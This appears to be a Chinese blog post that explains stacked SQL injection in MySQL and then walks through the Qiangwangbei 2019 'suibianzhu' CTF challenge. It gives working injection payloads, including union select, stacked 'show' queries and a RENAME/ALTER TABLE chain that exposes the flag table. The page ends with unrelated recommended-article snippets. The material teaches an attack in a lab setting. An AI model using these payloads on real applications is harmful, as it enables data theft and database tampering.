堆叠注入原理解析

2023-11-09

一、堆叠注入原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

堆叠注入的局限性

堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。

三、题目

[强网杯 2019]随便注
首先判断闭合符号:
输入1,页面返回:在这里插入图片描述
输入1’ 页面报错了,加上注释符号#页面又回显正常,那么闭合符号就是单引号;

判断列数:

1' order by 2#   //回显正常
1' order by 3#   //会先报错

联合查询:

1' union select 1,2#

发现过滤了很多函数。
在这里插入图片描述

尝试堆叠注入:

1'; show databases;#

在这里插入图片描述
查表名:
在这里插入图片描述
查询这两个表名中的列:

-1'; show columns from 'words';#

在这里插入图片描述
这里查询表名使用反单引号
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符:

-1'; show columns from `1919810931114514`;#

发现了flag这个列
在这里插入图片描述
但是到这里就会出现问题,虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,能不能我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容那,当然是可以的。

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

用1’ or ‘1’='1访问一下,便可以发现flag
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

堆叠注入原理解析 的相关文章

随机推荐

  • 外挂编写完全攻略

    外挂编写完全攻略一 先说一下写一个外挂需要什么条件 1 熟练的C语言知识 目前的外挂大部分都是用BC或者是vc写的 拥有熟练的C语言知识是写外挂的基本条件 2 具有很强的汇编基础 一般游戏都不可能有原代码的 必须 反汇编或者跟踪的办法来探索
  • 31条指令单周期cpu设计(Verilog)-(八)上代码→指令译码以及控制器

    说在前面 开发环境 Vivado 语言 Verilog cpu框架 Mips 控制器 组合逻辑 指令译码器 我们需要根据一条32位的指令的结构确定是哪一条指令 可以根据操作码 op 以及功能码 func 使用case语句确定 下述代码中ca
  • 传统方法:textcnn文本分类中超参数对分类器的影响

    引言 众所周知 文本分类是自然语言处理中最常见的任务之一 而TEXTCNN是每一个NLPer入门学习 deeplearning在自然语言处理中应用的首选 相对现在火热得BERT而言 TEXTCNN得结构相对来说更加简单 但其容易被理解 模型
  • 解析TCP之滑动窗口(动画演示)

    概述 滑动窗口实现了TCP流控制 首先明确滑动窗口的范畴 TCP是双工的协议 会话的双方都可以同时接收和发送数据 TCP会话的双方都各自维护一个发送窗口和一个接收窗口 各自的接收窗口大小取决于应用 系统 硬件的限制 TCP传输速率不能大于应
  • 【概率论与数理统计】猴博士 笔记 p29-32 均匀分布、泊松分布、指数分布、几何分布

    均匀分布U 题型 已知某随机变量满足某分布 求对应的概率 期望 方差 也是套公式 例1 设随机变量X U 2 5 求P X gt 4 EX DX 套公式得 p x 4
  • 解决Tomcat启动控制台输出中文信息乱码 [亲测好用]

    解决Tomcat启动控制台输出中文信息乱码 亲测好用 文章目录 解决Tomcat启动控制台输出中文信息乱码 亲测好用 一 问题描述 Tomcat启动控制台输出信息乱码解决 二 问题分析 Tomcat日志之所以出现中文乱码问题是因为日志输出的
  • 2012年蓝桥杯省赛-汉诺塔

    题目 题目链接 题解 题目本身很简单 但是我想提醒几点 会推导出结论 2 n 1 2 n 1 2n 1 特殊的输出方式 对于汉诺塔问题 存在递推公式
  • (Jquery功能篇) JPage分页控件实例代码

    截图 使用JPage实现分页效果图 第一步 加载JPage插件 相关资源文件和Js代码 截图所示 第二步 编写相关js 代码 function bindDate 删除相关数据 删除Id为edc的tbody的相关数据 移除Class为cont
  • 2020-10-17第十一届第二场蓝桥杯JavaB组

    第十一届第二场蓝桥杯JavaB组 题解 试题 B 寻找 2020 本题总分 5 分 问题描述 小蓝有一个数字矩阵 里面只包含数字 0 和 2 小蓝很喜欢 2020 他想找 到这个数字矩阵中有多少个 2020 小蓝只关注三种构成 2020 的
  • 合规性强的第三方收款工具受青睐 报告:连连国际使用频率排名第一

    经过多年发展 我国跨境电商已经完成第一轮草根式高增长 进入规模化出海阶段 这也进一步促使银行 跨境支付机构 跨境电商平台等不断优化升级产品方案 深化出海全链路服务生态 全力帮助外贸企业 中国品牌开辟出海新路径 实现新发展 在对跨境企业现状及
  • 《Stable Diffusion web UI-Segment Anything未完待续01》

    最近每天晚上都在弄手指修复 但是都不理想 索性放在后面再写教程 今天中午花时间弄了一下Segment Anything 1 下载Segment Anything 点击拓展 从网址安装 安装 已安装 点击重启 2 点击这个项目红色框里面的 h
  • 【机器学习实战】8、预测数值型数据:回归

    文章目录 8 1 用线性回归找到最佳拟合直线 8 1 1 线性回归 8 1 2数据可视化 8 1 3 求回归系数向量 并根据系数绘制回归曲线 8 2 局部加权线性回归 LWLR 8 3 预测鲍鱼年龄 8 4 岭回归 8 5 前向逐步回归 8
  • linux 模拟postman进行post提交

    curl H Content Type application json charset utf 8 H Data Type msg X POST data mobile 13366088888 name 哈哈 http 192 168 1
  • 使用Jtest 2022.2简化严格的Java测试

    阅读本文 您可以了解您的开发团队如何利用Parasoft Jtest 2022 2 中包含的先进功能和增强功能来简化 Java 测试 如果开发人员没有自动化测试流程 Java和JUnit测试对他们来说可能是耗时且具有挑战性的 随着Paras
  • 使用Python将TXT转为Excel

    第一步 我们创建一个txt文件 内容为图中所示 第二步 开始写代码 导入openpyxl用于excel操作 from openpyxl import Workbook 新建保存结果的excel sheet wb Workbook r res
  • 二、大数据实践项目——数据分析与处理

    一 数据处理主要任务 二 数据集处理 1 查看数据集基本情况 调用 info 函数来查看数据data的基本情况 包括数据维度 字段名称和类型以及有无缺失值 数据占用内存等 以下为部分字段信息 可见总的数据47447行 少于此数值的为有数据缺
  • 矩阵的1/2次方

    矩阵的1 2次方 求矩阵的1 2次方的前提是A为正定阵 这时A一定相似于主对角元素都为正数的对角阵 也就是说存在可逆阵P 使得 P 1 AP dia 1 2 n 是对角阵 取B Pdiag 1 2 n P 1 则B 2 A 即B A 1 2
  • 分析如何用万能表测试MOS管好坏的小窍门

    现在家电 照明 汽车电子等领域行业开关管均采用性能优异的MOS管取代过去的大功率晶体三极管 使整体的效率 可靠性 故障率均大幅的下降 虽说是大幅降低 但也会出现损坏的情况 由于MOS管和大功率晶体三极管在结构 特性有着本质上的区别 在应用上
  • Java堆内存是线程共享的吗

    转载声明 Java堆内存是线程共享的 面试官 你确定吗 Java作为一种面向对象的 跨平台语言 其对象 内存等一直是比较难的知识点 所以 即使是一个Java的初学者 也一定或多或少的对JVM有一些了解 可以说 关于JVM的相关知识 基本是每
  • 堆叠注入原理解析

    文章目录 一 堆叠注入原理 二 堆叠注入触发条件 三 题目 一 堆叠注入原理 mysql数据库sql语句的默认结束符是以 结尾 在执行多条SQL语句时就要使用结束符隔开 那么在 结束一条sql语句后继续构造下一条语句 是否会一起执行 因此这